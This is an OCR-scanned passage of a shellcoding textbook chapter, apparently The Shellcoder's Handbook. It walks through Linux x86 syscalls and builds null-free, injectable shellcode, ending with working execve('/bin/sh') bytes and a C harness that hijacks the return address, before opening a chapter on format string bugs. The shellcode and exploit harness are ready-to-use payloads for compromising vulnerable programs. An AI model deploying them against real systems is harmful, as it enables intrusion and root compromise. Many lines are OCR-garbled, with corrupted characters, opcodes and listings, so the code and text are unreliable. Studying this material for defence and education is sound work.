Understanding System Calls

We write shellcode because we want the target program to function in a
manner other than what was intended by the designer. One way to
manipulate program is to force it to make a system of syscall. Syscalls are
an extremely powerful set of functions that will allow your to access
operating system- specific functions such as getting input, producing
output, exiting a process, and executing a binary file. Syscalls allow you to
directly access the kernel, which gives you access to lower-level functions.
Syscalls are the interface between protected kernel mule and user mode.
Implementing a protected kernel mode, in theory, keeps user applications
from interfering with or comprornising the OS. When a user mode
program attempts to access kernel memory space, an access exception is
generated, preventing the user mode program from directly accessing
kernel memory space. Because some operating-specific services are
required in order for programs to function, syscalls were implemented as
an interface between regular user mode and kernel mode.

There are two common methods of executing a syscall in Linux. You
can use either the C library wrapper, libc, which works indirectly, or
execute the syscall directly with assembly by loading the appropriate
arguments into registers and then calling a software interrupt. Libc
wrappers were created so that programs can continue to function
normally if a syscall is changed and to pro-vide some very useful
functions (such as our friend malloc). That said, most libc syscalls are
very close representations of actual kernel system calls.

System calls in Linux are accomplished via software interrupts and are
called with the int 0x80 instruction. When int 0x80 is executed by a user
mode program, the CPU switches into kernel mode and executes the
syscall function. Linux differs from other Unix syscall calling methods in
that it features a fastcall convention for system calls, which makes use of
registers for higher performance. The process works as follows:

1. The specific syscall function is loaded into EAX.

2. Arguments to the syscall function are placed in other registers.
3. Thejpstruction int 0x80 is executed.

4.teanf’h§ngt§ %i‘?t,sr?é}tt% kernel mode.

5. The syscall function is executed.
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A specific integer value is associated with each syscall; this
value must be placed in EAX. Each syscall can have a maximum
of six arguments, which are inserted into EBX, ECX, EDX, ESI,
EDI, and EPB, respectively. If more than the stock six arguments
are required for the syscall, the arguments are passed via a data
structure to the first argument.

Now that you are familiar with how a syscall works from an
assembly level, let's follow the steps, make a syscall in C,
disassemble the compiled program, and see what the actual
assembly instructions are.

The most basic syscall is exit() . As expected, it terminates
the current process. To create a simple C program that only
starts up then exits,use the following code:

main()

Exit(0);
}

Compile this program using the static option with gcc—this
prevents dynamic linking, which will preserve our exit syscall.

Gcece —static —o exit exit.c
Next, disassemble the binary.

[slap@0day root] gdb exit

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "'show copying" to see the conditions.

There is absolutely no warranty for GDB. Type ''show warranty' for
details

This GDB was configured as "i386-redhat-linux-gnu™..

(gdb) disas _exit

Dump of assembler code for function _exit:

0x0804d9bc <_exit+0>: mov 0x4(%esp,1),%ebx
0x0804d9c0 <_exit+4>: mov $0xfc,%eax
0x0804d9c5 <_exit+9>: int $0x80

0x0804d9c7 <_exit+11>: mov $0x1,%eax
0x0804d9cc <_exit+16>: int $0x80
0x0804d9ce <_exit+18>: hlt

0x0804d9cf <_exit+19>: nop

End of assembler dump.

If you look at the dissembly for exit ,you can see that we

av, C 1 value of the syscall to be called is stored
T T

nes ex1t+ and exit+11.
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0x0804d9c0 <_exit+4>: mov $0xfc,%eax
0x0804d9c7 <_exit+11>: mov $0x1,%eax

These correspond to syscall 252,exit_group(), and syscall 1,
exit().We also have an instruction that loads the argument to
our exit syscall into EBX.This argument was pushed onto the
stack previously, and has a value of zero.

0x0804d9bc <_exit+0>: mov 0x4(%esp,1),%ebx

Finally, we have the two in 0x80 instructions, which switch the CPU
over to kernel mode and make our syscalls happen.

0x0804d9c5 <_exit+9>: int $0x80
0x0804d9cc <_exit+16>: int $0x80

There you have it , the assembly instructions that correspond to a
simple syscall, exit().

Writing Shellcode for the exit() Syscall

Essentially, you now have all the pieces you need to make exit()
shellcode. We have written the desired syscall in C, compiled and
disassembled the binary, and understand what the actual instructions do.
The last remaining step is to clean up our shellcode, get hexadecimal
opcodes from the assembly, and test our shellcode to make sure it works.
Let's look at how we can do a little optimization and cleaning of our
shellcode.

We presently have seven instructions in our shellcode. We always
want our shellcode to be as compact as possible to fit into small input
areas, so let's do some trimming and optimization. Because our
shellcode will be executed without having some other portion of code
set up the arguments for it (in this case, getting the value to be placed in
EBX from the stack), we will have to manually set this argument. We can
easily do this by storing the value of 0 into EBX. Additionally, we really
need only the exit()syscall for the purposes of our shellcode, so we
can safely ignore the group_exit() syscall for the purposes of the same
desired effect. For efficiency, we won't be adding instructions and get
the same desired effect. For efficiency ,we won’t be adding group_exit()
instructions.

From a high level, our shellcode should

1. Store the, value of 0 into EBX
2.1l oW $ARESSEN o EAX

3. Execute int 0x80 instruction to make the syscall
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SHELLCODE SIZE

You want to keep your shellcode as simple, or as compact, as
possible. The smaller the shellcode, the more programs you
can exploit with it. Remember, you will stuff shellcode into
input areas. If you encounter a vulnerable input area that is n
bytes long, you will need to fit all your shellcode into it, plus
other instructions to call your shellcode, so the shellcode must
be smaller than n. For this reason, whenever you write
shellcode, you should always be conscious of size.

Let's write these three steps in assembly. We can then get an ELF binary;
from this file we can finally extract the opcodes.

Section .text
global _start
_start:
mov ebx,0
mov eax,l

int 0x80

Now we want to use the nasm assembler to create our object file, and then
use the GNU linker to link object files:

[slap@Oday root] nasm -f elf exit_shellcode.asm
[slap@Oday root] Id -o exit_shellcode exit_shellcode.o

Finally, we are ready to get our opcodes. In this example, we will use obj-
dump. The objdump utility is a simple tool that displays the contents of object
files in human readable form. It also prints out the opcode nicely when dis-
playing contents of the object file, which makes it useful in designing
shellcode. Run our exit_shellcode program through objdump, like this:

[slap@0Oday root] objdump -d exit_shellcode
exit_shellcode: file format e1f32-i386

Disassembly of section .text:

08048080 <.text>:

8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: int $0x80

, cd 80
eam 509 scpresents
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You can see the assembly instructions on the far right .To
the left is our opcode. All you need to do is place the opcode into
a character array and whip up a little C to execute the string.
Here is one way the finished product can look (remember, if you
don’t want to type this all out, visit the Shellcoder’s Handbook
Web site at www.wiley.com /compbooks/koziol).

char shellcode[]="\xbb\x00\x00\x00\x00”
“\xb8\x01\x00\x00\x00”
“\xcd\x807;

int main|()
{
int *ret;
ret = (int *)&ret+2;
(*ret) = (int)shellcode;
}

Now, compile the program and test the shellcode.

[slap@Oday slap] gcc —o wack wack.c
[slap@Oday slap]| ./wack
[slap@Oday slap]

It looks like the program exited normally. But how can we be
sure it was actually our shellcode? You can use the system call
tracer (strace) to print out every system call a particular program
makes. Here is s trace in action:

[slap@Oday slap] strace ./wack

execve(“./wack”,[“. /wack”],[/* 35 vars */]) = O uname({sys="Linux”,
node="0day.jackkoziol.com”,...})=0

brk(0) = 0x80494d8

old_mmap(NULL,4096,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_AN
ONYMOUS,-1,0)=0x40016000

open(“/etc/1ld.so.preload”, O_RDONLY) =-1 ENOENT (No such file or
directory)

open(“etc/ld.so.cache”,O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG | 0644, st_size=78416, ...}) = 0
old_map(NULL,78416,PROT_READ,MAP_PRIVATE,3,0) = 0x40017000
close(3) =0

open(“/lib/tls/libc.so0.6”, O_RDONLY) = 3

read(3,
“\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0’V\1B4\0”...,
512) = 512

fstat64(3,{st_mode=S_IFREG| 0755, st_size=1531064, ...} ) =0
old_mmap(0x42000000,1257224, PROT_READ | PROT_EXEC,
MAP_PRIVATE,3,0) = 0x42000000

old_mmap(0x4212e000, 12288, PROT_READ | PROT_WRITE,

MAE @81vARE | 1A @SREDS 3, 0x12¢000) = 0x4212e000
old_mmap(0x42131000,7944, PROT_READ | PROT_WRITE,
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MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1 ,0) = 0x42131000
Close(3) =
Set_thread_area( {entry_number:-1 -> 6, base_addr:0x400169e0,
Limit:1048575, seg_32bit:1, contents:0,read_exec_only:0,
Limit_in_page:1,seg not_present:0,useable:1} ) = 0
Munmap(0x40017000, 78416) =
Exit(0) = ?

As you can see, the last line is our exit(0) syscall. If you'd like,
go back and modify the shellcode to execute the exit_group()
syscall.

char shellcode|) = ”\Xbb\xOO\XOO\ 0\x00”
"\xb8\xfc\x00\x00\x00”
"\xcd\x80";
int main()
{
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
¥

This exit_group () shellcode will have the same effect. Notice we
changed the second opcode on the second line from \x01 (1) to \xfc (252),
which will call exit_group () with the same arguments. Recompile the
program and run s trace again; you will see the new syscall.

[slap@Oday slap] strace ./wack

execve("./wack", ["./wack"], [/* 34 vars */]) =
uname({sys="Linux", node="0day.jackkoziol.com", ...}) = 0
brk(0) = 0x80494d8

old_mmap(NULL, 4096, PROT_READ |PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0x40016000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT
(No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) =

fstat64(3, {st_mode=S_IFREG| 0644, st_size=78416, ...}) = 0
old_ mmap(NULL,78416,PROT_READ,MAP_PRIVATE,3,0) = 0x40017000
close(3) 0

open("/lib/tls/libc.so.6", O_RDONLY) =3

read(S ”\177ELF\1\1\1\O\O\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 V\IB4\
0"..., 512) = 51

fstat64(3, {st_mode=S_IFREG|0755, st_size=1531064, ...}) =

old_mma8(0X42000000 1257224, PROT_READIPROT_EXEC,
MAP_PRIVATE, 3, 0) 0x42000000’

old_mmap(0x4212e000, 12288, PROT_READ |PROT_WRITE,
MAP_PRIVATE | MAP_FIXED, 3, 0x12e000) = Ox4212e000
old_mnnap (0x42131000, 7944, PROT_READ |PROT_WRITE,
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MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1 ,0) = 0x42131000
close(3) = 0

set_thread_area( {entry_number:-1 -> 6, base_addr:0x400169¢0,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1,
seg_not_present:0, useable:1} ) =
munmap(0x40017000,78416) = 0
exit_group(0) = ?

0

You have now worked through one of the most basic
shellcoding examples. You can see that shellcode actually
works, but unfortunately ,the shellcode you have created
in this section is likely unusable in a real-world exploit.
The next section will explore how to fix our shellcode so
that it can be injected into an input area.

Injectable Shellcode

The most likely place you will be placing shellcode is into a
buffer. Even more likely, this buffer will be a ciaracter
array. If you go back and look at our shellcode

\xbb\xO00\xO00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80

you will notice that there are some nulls (\x00) present. These
nulls will cause shellcode to fail when injected into a character
array because the null character is used to terminate strings. We
need to get a little creative and find ways to change our nulls into
non-null opcodes. There are two popular methods of doing so. The
first is to simply replace assembly instructions that create nulls
with other instructions that do not. The second method is a little
more complicated—it involves adding nulls at runtime with
instructions that do not create nulls. This method is also tricky
because we will have to know the exact address in memory where
our shellcode lies. Finding the exact location of our shellcode
involves using yet another trick, so we will save this second
method for the next, more advanced, example.

We'll use the first method of removing nulls. Go back and look at
our three assembly instructions and the corresponding opcodes:

mov ebx,0 \xbb\x00\x00\x00\x00
mov eax,l \xb8\x01\x00\x00\x00
int 0x80 \xcd\x80

The first two instructions are responsible for creating the nulls. If
you remember assembly, the Exclusive OR (xor) instruction will
return zero ,if both operands are equal. This means that if we use
thetEa®1G9% & PReedtSiction on two operands that we know are
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equal, we can get the value of 0 without having to use a value of 0
in an instruction. Consequently ,we won’t have to have a null
opcode. Instead of using the mov instruction to set the value of
EBX to 0, let’s use the Exclusive OR(xor)instruction. So, our first
instruction

mov ebx,0
becomes

xor ebx, ebx

One of the instructions has hopefully been removed of
nulls—we’ll test it shortly.

You may be wondering why we have nulls in our second
instruction. We didn't put a zero value into the register, so why do
we have nulls? Remember, we are using a 32-bit register in this
instruction. We are moving only one byte into the register, but the
EAX register has room for four. The rest of the register is going to
be filled with nulls to compensate.

We can get around this problem if we remember that each 32-bit
register is broken up into two 16-bit "areas"; the first-16 bit area
can be accessed with the AX register. Additionally, the 16-bit AX
register can be broken down further into the AL and AR registers.
If you want only the first 8 bits, you can use the AL register. Our
binary value of 1 will take up only 8 bits, so we can fit our value
into this register and avoid EAX getting filled up with nulls. To do
this, we change our original instruction

mov eax,1
to one that uses AL instead of EAX:

mov al,l

Now we should have taken care of all the nulls. Let's verify that
we have by writing our new assembly instructions and seeing if we

have any null opcodes.
Section -text

global _start
_start:

xor ebx,ebx

mov al,1l

int 0x80
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Put it together and disassemble using objdump.
[slap@0day root] nasm —f elf exit_shellcode.asm

[slap@Oday root] 1d —o exit_shellcode exit_shellcode.o
[slap@0Oday root] objdump —-d exit_shellcod

exit_shellcode: file format elf32-i386
Disassembly of section .text:

08048080 <.text>:

8048080: 31 db XOor %ebx, %ebx
8048085: b0 01 mov $0x1, %al
804808a: cd 80 int $0x80

All our null opcodes have been removed, and we have
significantly reduced the size of our shellcode. Now you have
fully working, and more importantly injectable shellcode.

Spawning a Shell

Learning to write simple exit () shellcode is in reality just a learning exercise. In practice,
you will find little use for standalone exit () shellcode. If you want to force a process
that has a vulnerable input area to exit, most likely you can simply fill up the input area
with illegal instructions. This will cause the program to crash, which has the same effect
as injecting exit () shellcode. This doesn't mean your hard work was wasted on a futile
exercise. You can reuse your exit shellcode in conjunction with other shellcode to do
something worthwhile, and then force the process to close cleanly, which can be of value
in certain situations.

This section of the chapter will be dedicated to doing something more fun—spawning
a root shell that can be used to compromise your target computer. Just like in the
previous section, we will create this shellcode from scratch for a Linux OS running on
1A32. We will follow five steps to shellcode success:

1. Write desired shellcode in a high-level language.
Compile and disassemble the high-level shellcode program.

Analyze how the program works from an assembly level.

Clean up the assembly to make it smaller and injectable.
Extract opcodes and create shellcode.

arwn

The first step is to create a simple C program to spawn our shell. The easiest and
fastest method of ‘reating a shell is to create a new process. A process in Linux can
be created in one of two ways: We can create it via an existing process and replace
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the program that is already running, or we can have the existing
process make a copy of itself and run the new program in its
place. The kernel takes care of doing these things for us—we can
let the kernel know what we want to do by issuing fork() and
execve() system calls. Using fork() and execve() together creates a
copy of the existing process, while execve () singularly executes
another program in place of the existing one.

Let's keep it as simple as possible and use execve by itself. What
follows is the execve call in a simple C program:

#include <stdio.h>
int main()
{
char *happy[2);
happy[0] = "/bin/sh";
happy[1l] = NULL;
execve (happy [0] , happy, NULL) ;

-

We should compile and execute this program to make sure we get the desired effect..

[slap@Oday root]|# gcc spawnshell.c -o spawnshell
[slap@Oday root]# ./spawnshell
sh-2.05b#

As you can see, our shell has been spawned. This isn't very interesting right now,
but if this code were injected remotely and then executed, you could see how powerful
this little program can be. Now, in order for our C program to be executed when
placed into a vulnerable input area, the code must be translated into raw hexadecimal
instructions. We can do this quite easily. First, you will need to recompile the
shellcode using the -static option with gcc; again, this prevents dynamic linking
which preserves our execve syscall.

gce -static -o spawnshell spawnshell.c
Now we want to disassemble the program, so that we can get to our opcode. The
following output from objdump has been edited to save space—we will show only the

relevant portions.

080481do <main>;:

80481d0: 55 push  %ebp

80481d1: 89 e5 mov %esp, %ebp

80481d3: 83 ec 08 sub $0x8, %esp

80481d6: 83 e4 O and SOSIfO, %esp

80481d9: b8 00 00 00 00 mov $0x0, Y%eax

80481de: 29 c4 sub Y%eax, %esp

80481e0: c7 45 {8 88 ef 08 08 movl $0x808ef88, OxfIfffff8(%ebp)
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80481e7:c7 45 fc 00 00 00 0O

80481ee:83 ec 04
80481fl1:6a 00
804811f3:8d 45 f8
80481f6:50

80481f7:ff 75 8
80481fa:e8 f1 57 00 00
80481ff:83 c4 10
8048202:c9
8048203:c3

0804d9f0 <__execve>:
804d9f0:55
804d9f1:b8 00 00 00 0O
804d9f6:89 €5
804d9f8:85 cO
804d9fa:57
804d9fb:53
804d9fc:8b 7d 08
804d9ff:74 05
804da01:e8 fa 25 fb 7
804da06:8b 4d Oc
804da09:8b 55 10
804da0c:53
804da0d:89 fb
804da0f:b8 Ob 00 00 00
804dal4:cd 80
804dal6:5b
804dal7:3d 00 fO ff ff
804dalc:89 c3
804dale:77 06
804da20:89 d8
804da22:5b
804da23:5f
804da24:c9
804da25:c3
804da26:f7 db
804da28:e8 cf ab ff ff
804da2d:89 18
804da2f:bb ff ff ff ff
804da34:eb ea
804da36:90
804da37:90

push

pushl

mov
test

je
call

mov
int
cmp
mov
ja
mov

neg
call
mov

jmp

movl $0x0,0xfffffffc(%ebp)
sub $0x4,%esp

$0x0

lea  Oxfffffff8(%ebp),%eax
push %eax

Oxfffffff8(%ebp)

call 804d9f0 <__execve>
add $0x10,%esp

leave

ret

push %ebp

mov $0x0, %eax

%esp, %ebp

%eax, %eax

push %edi

push %ebx

mov 0x8(%ebp), %edi
804da06 <__execve+0x16>
0 <_init-0x80480b4>

mov Oxc(%ebp), %ecx
mov 0x10(%ebp), %edx
push %ebx

%edi, %ebx

mov $0xb, %eax
$0x80
pop %ebx

$Oxfffff000, %eax

%eax, %ebx

804da26 <__execve+0x36>
%eax, %ebx

pop %ebx

pop %edi

leave

ret

%ebx

80485fc <__errno_location>
%ebx, (%eax)

SOXTIffffff, %ebx

804da20 <__execve+0x30>
nop

nop

As you can see, the execve syscall has quite an intimidating
list of instructions to translate into shellcode. Reaching the point
where we have removed all the nulls and compacted the shellcode
Let’s learn more about the execve

will take a fair amount of time.
xactly what is going on here. A good place
g?e for execve. The first two paragraphs of

v fiian ROYLE HRERS

the man page give up valuable information.
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int execve(const char *filename, char *const argv[], char *const

envp(]);
B execve() executes the program pointed to by Filename.  filename

must be either a binary executable or a script starting with a line of the
form "# ! interpreter [arg] . In the latter case, the interpreter
must be a valid pathname for an executable that is not itself a script,
and which will be invoked as interpreter [arg] filename.

B argv is an array of argument strings passed to the new program. envp
is an array of strings, conventionally of the form key=value, which are
passed as environment to the new program. Both argv and envp must
be terminated by a null pointer.

The man page tells us that we can safely assume that execve needs three
argumenss passed to it. From the previous exit() syscall example, we already
know how to pass arguments to a syscall in Linux (load up to six of them into
registers). The man page also tells us that these three arguments must all be
pointers. The first argument is a pointer to a string that is the name of binary we
want to execute. The second is a pointer to the arguments array, which in our
simplified case is the name of the program to be executed (bin/sh). The third and
final argument is a pointer to the environment array, which we can leave at null
because we do not need to pass this data in order to execute the syscall.

Because we are talking about passing pointers to strings, we need to
remember to null terminate all the strings we pass.

For this syscall, we need to place data into four registers; on, register will
hold the execve syscall value (binary 11 or hex OxOb) and the other three will
hold our arguments to the syscall. Once we have the arguments correctly
placed and in legal format, we can make the actual syscall and switch to
kernel mode. Using what you learned from the man page, you should have
a better grasp of what is going on in our disassembly.

Starting with the seventh instruction in main (), the address of the string
/bin/sh is copied into memory. Later, an instruction will copy this data into
a register to be used as an argument for our execve syscall.

8048le0: movl $0x808ef88,0xfffffff8(%ebp)

Next, the null value is copied into an adjacent memory space. Again, this
null value will be copied into a register and used in our syscall.

80481e7: movl $0x0,0xfffffffc(%ebp)
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Now the arguments are pushed onto the stack so that they will be available after
we call execve. The first argument to be pushed is null.

80481F1: push $0x0

The next argument to be pushed is the address of our aguments array(happy]]).
First, the address is placed into EAX, and then the address value in EAX is pushed onto
the stack.

80481f3: lea OxFFFFFFF8(%ebp) , %eax
80481f6: push %eax

Finally, we push the address of the /bin/ sh string onto the stack.

80481F7: pushl OxFFFFFFFS(%ebp)

Now the execve function is called.
80481fa: call 804d9f0 <execve>

The execve function's purpose is to set up the registers and then execute the
interrupt. For optimization purposes that are not related to functional shellcode, the
C function gets translated into assembly in a somewhat convoluted manner, looking
at it from a low-level perspective. Let's isolate exactly what is important to us and
leave the rest behind.

The first instructions of importance load the address of the /bin/ sh string into
EBX.

804d9fc: mov 0x8(%ebp), %edi
804da0d: mov %edi, %ebx

Next, load the address of our argument array into ECX.
804da06: mov Oxc(%ebp),%ecx

Then the address of the null is placed into EDX.
804da09: mov 0x10(%ebp),%edx

The final register to be loaded is EAX. The syscall number
for execve, 11, is placed into EAX.
804da0f: mov $0xb, %eax

Finally, everything is ready. The int 0x80 instruction is
called, switching to kernel mode, and our syscall executes.

804dal4: int $0x80
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Now that you understand the theory behind an execve syscall from
an assembly level, and have disassembled a C program, we are ready to
create our shellcode. From the exit shellcode example, we already know
that we’ll have several problems with this code in the real world.

Rather than build faulty shellcode and then fix it as we did in the last example, we
will simply do it right the first time. If you want additional shellcoding practice, feel
free to write up the non-injectable shellcode first.

The nasty null problem has cropped up again. We will have nulls
when setting up EAX and EDX. We will also have nulls terminating our
/bin/sh string. We can use the same self-modifying tricks we used in our
exit() shellcode to place nulls into registers by carefully picking
instructions that do not create nulls in corresponding opcode. This is the
easy part of writing injectable shellcode---now onto the hard part.

As briefly mentioned before, we cannot use hardcoded addresses with
shellcode. Hardcoded addresses reduce the likelihood of the shellcode
working on different versions of Linux and in different vulnerable
programs. You want your Linux shellcode to be as portable as possible,
so you don’t have to rewrite it each time you want to use it. In order to
get around this problem, we will use relative addressing. Relative
addressing can be accomplished in many different ways; in this chapter
we will use the most popular and classic method of relative addressing in
shellcode.

The trick to creating meaningful relative addressing in shellcode is to
place the address of where shellcode starts in memory or an important
element of the shellcode into a register. We can then craft all our
instructions to reference the known distance from the address stored in the
register.

The classic method of performing this trick is to start the shellcode with
a jump instruction, which will jump past the meat of the shellcode directly
to a call instruction. Jumping directly to a call instruction sets up relative
addressing. When the call instruction is executed, the address of the
instruction immediately following the call instruction will be pushed onto
the stack. The trick is to place whatever you want as the base relative
address directly following the call instruction. We now automatically have
our base address stored on the stack, without having to know what the
address was ahead of time.

We still want to execute the meat of our shellcode, so we will have the
call instruction call the instruction immediately following our original jump.
This will put the control of execution right back to the beginning of our
shellcode. The final modification is to make the first instruction following
the jump be a POP ESI, which will pop the value of our base address off the
stack and put it into ESI. Now we can reference different bytes in our

shelleadg tg()g’s'gn%)ltggéﬁﬁgance, or offset, from ESI. Let's take a look at

some pseudo code to illustrate how this will look in practice.



50 Chapter 3

jmp short GotoCall
shellcode:

pop esi

<shellcode meat>

GotoCall:
Call shellcode
Db ‘/bin/sh’

The DB, or define byte birective(it’s not technically an instruction),
allows us to set aside space in memory for a string. The following steps
show what happens with this code:

1. The first instruction is to jump to GotoCall, which immediately
executes the CALL instruction.

2. The CALL instruction now stores the address of the first byte of

our string (/bin/sh) on the stack.

The CALL instruction calls shellcode.

The first instruction in our shellcode is a POP ESI, which puts

AW

the value of the address of our string into ESI.
5. The meat of the shellcode can now be executed using relative
addressing.

Now that the addressing problem is solved, let's fill out the meat of
shellcode wusing pseudo code. Then we will replace it with real
assembly instructions and get our shellcode. We will leave a number of
placeholders (9 bytes) at the end of our string, which will look like
this:

‘/bin/shJAAAAKKKK'

The placeholders will be copied over by the data we want to load into
two of three syscall argument registers (ECX, EDX). We can easily
determine the memory address locations of these values for replacing and
coping into registers, because we will have the address of the first byte of
the string stored in ESI. Additionally, we can terminate our string with a
null efficiently by using this "copy over the placeholder" method. Follow
these steps:

1. Fill EAX with nulls by xoring EAX with itself.

2. Terminate our /bin/sh string by copying AL over the last byte of
the string. Remember that AL is null because we nulled out EAX in

te lr'he Lﬁ)@(%’ %reglf%géﬂflgtruction. You must also calculate the offset
the bégi

rom ginning of the string to J placeholder.
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3. Get the address of the beginning of the string, which is stored in
ESI, and copy that value into EBX.

4. Copy the value stored in EBX, now the address of the beginning of
the string, over the AAAA placeholders. This is the argument
pointer to the binary to be executed, which is required by execve.
Again, you need to calculate the offset.

5. Copy the nulls still stored in EAX over the KKKK placeholders,
using the correct offset.

6. EAX no longer needs to be filled with nulls, so copy the value of
our execve syscall(0Ox0Ob) into AL.

7. Load EBX with the address of our string.

8. Load the address of the value stored in the AAAA placeholder,
which is a pointer to our string, into ECX.

9. Load up EDX with the address of the value in KKKK, a pointer to
null.

10. Execute int 0x80

The final assembly code that will be translated into shellcode looks
like this:
Section .text

global _start

_start:

jmp short GotoCall

shellcode:
pop esi
xXor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8],ebx
mov long [esi = 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
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Compile and diassemble to get opcodes.

[root@O0day linux|# nasm —f elf execve2.asm
[root@Oday linux]|# 1d —o execve2 execve2.0
[root@O0day linux]# objdump —-d execve2

execve2:
Disassembly of section .text:

08048080 <_start>:
8048080: eb la
08048082 <shellcode>:
8048082: Se

8048083: 31 cO
8048085: 88 46 07
8048088: 8d le
804808a: 89 5e 08
804808d: 89 46 Oc
8048090: b0 Ob
8048092: 89 f3
8048094 8d 4e 08
8048097: 8d 56 Oc
804809a: cd 80
0804809c <GotoCall>:
804809c: e8 el ff ff ff

80480al: 2f
80480a2 : 62 69 6e
80480a5: 2f
80480a6: 73 68
80480a8: 4a
80480a9: 41
80480aa: 41
80480ab: 41
80480ac: 41
80480ad: 4b
80480ae: 4b
80480af: 4b
80480Db0: 4b
[root@Oday linux) #

file format elf32-i386

jmp

pop
Xor
mov
lea
mov

mov
mov
lea
lea
int

call
das

804809c <GotoCall>

%esi

%eax, Y%eax

%al, 0x7(%esi)
(%esi), %ebx
Y%eax, Oxc (%esi)
mov %eax, Oxc (%esi)
$0xb, %al

%esi, %ebx

0x8 (%esi) , %ecx
Oxc (%esi) , %edx
$0x80

8048082 <shellcode>

bound %ebp, 0x6e (%ecx)

das
jae
dec
inc
inc
inc
inc
dec
dec
dec
dec

8048110 <GotoCall+0x74>
%edx
%ecx
%ecx
%ecx
%ecx
%ebx
%ebx
%ebx
%ebx

Notice we have no nulls and no hardcoded addresses. The final step is
to create the shellcode and plug it into a C program.

char shellcode[] =

“\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel”
A\ X\ xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41”

“\x4b\x4b\x4b\x4b”;
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int main()

{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

Let's test to make sure it works.

[root@Oday linux]# gcc execve2.c -o execve?2
[root@Oday linux|# ./execve2
sh-2.05b#

Now you have working, injectable shellcode. If you need to pare down the
shellcode, you can sometimes remove the placeholder opcodes at the end of
shellcode, as follows.

char shellcodel] =
"\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

Throughout the rest of this book, you will find more advanced strategies for
shellcode and writing shellcode for other architectures.

Conclusion

You've learned how to create shellcode for the x86 processor on Linux. The
concepts in this chapter can be applied to writing your own shellcode for other
platform and operating systems, although the syntax will be different. (You will
work with different registers, or possibly an OS that doesn't have syscalls, such
as Windows.)

The most important task when creating shellcode is to make it small and
executable. When hacking, you need to have shellcode as small as possible so
you can fit it into the most potential vulnerable buffers. Shellcode must be exe-
cutable, and we worked through the most common and easiest methods of
writing executable shellcode. You will learn many different tricks and variations
on these methods throughout the rest of this book.
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CHAPTER
A

Introduction to Format
String Bugs

This chapter focuses on format string bugs in Linux, although they art not
operating system—specific. In their most common form, format string bugs
are a result of facilities for handling functions with variable arguments in
the C programming language. Since it's really C that makes format string
bugs possible, they affect every OS that has a C compiler, which is to say,
almost every OS in existence.

For a discussion of precisely why format string bugs exist at all, see the
"Why Did This Happen?" section at the end of this chapter.

Prerequisites

In order to understand this chapter, you will need a basic knowledge of
the C family of programming languages, as well as a basic knowledge of
x86 assembler. A working knowledge of Linux would be useful, but is not
essential.

In the Chapter 4 file at the Shellcoder's Handbook Web site,
www.wiley.corn /compbooks /koziol, you will find numerous resources and
tutorials for learning C and assembly for x86 and Linux.
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What Is a Format String?

To understand what a format string is, you need to understand the problem
that format strings solve. Most programs output textual data in some form,
oftern including numerical data. Say ,for example, that a program wanted to
output a string containing an amount of money. The actual amount might be
held within the program in the form of a double-precision floating-point
number, like this:

double AmountInsterling;

Let’s say the amount in pounds sterling is £30432.36. We would like to
output the amount exactly as written—preceded by a pound sign(£), with a
decimal point and two places after it. In the absence of format strings, we
would have to write a fairly substantial amount of code just to format a
number in this way, and even then ,it would likely work only for the
double-data type and the pounds sterling currency. Format strings provide a
more generic solution to this problem by allowing a string to be output that
includes the value of variables, formatted precisely as dictated by the
programmer. To output the number as specified, we would simply call the
printf function, which outputs the string to the process’s standard
output(stdout).

printf( “£%8. 2f\n” , AmountInSterling );

The first parameter to this function is the format string. This specifies a
constant string with placeholders that specify where variables are to be
substituted into the string. To output a double using a format string, you use
the format specifier %f. You can control aspects of how the data is output
using the flags, width, and precision components of the format specifier—in
this case, we are suing the precision component to specify that we require
two places after the decimal point. We do not make use of the width and
precision components in this simple example.

Just so you get the flavor of it, here is another example that outputs an
ASCII reference, with the characters specified in decimal, hex, and their

ASCII equivalents.

#include <stdlib.h>

#include <stdio.h>

int main( int arge, char *argv[] )

{
int c;
printf( “Deciman Hex Character\n” );
printf( “= = \n” ) ;
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for( ¢ = 0x20; c < 256; ct++)

switch(c)
{
case OxOa:
case 0xOb:
case 0xOc:
case 0x0d:
case Ox1b:
printf( “ %03d %02x \n”, c, c);
break;
default:
printf(“%03d %02x %c\n”, c, c, c);
break;
}

}
return 1;

}
The output looks like this:

Decimal Hex  Character
032 20
033 21 !
034 22 '
035 23 #
036 24 $
037 25 %
038 26 £
039 27 ¢
040 28 (
041 29
042 2a *
043 2b +
044 2c ,
045 2d -
046 2e

Note that in this example we are displaying the character in three different
ways—using three different format specifiers—and with different width
specifiers to make sure everything lines up nicely.

What Is a Format String Bug?

A format string bug occurs when user-supplied data is included in the format

spec1i£ig%%01§(ﬁ$nélgporfeos%% %g the printf family of functions, including
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printf
fprintf
sprintf
snprintf
vprintf
vrintf
vsprintf
vsnprintf

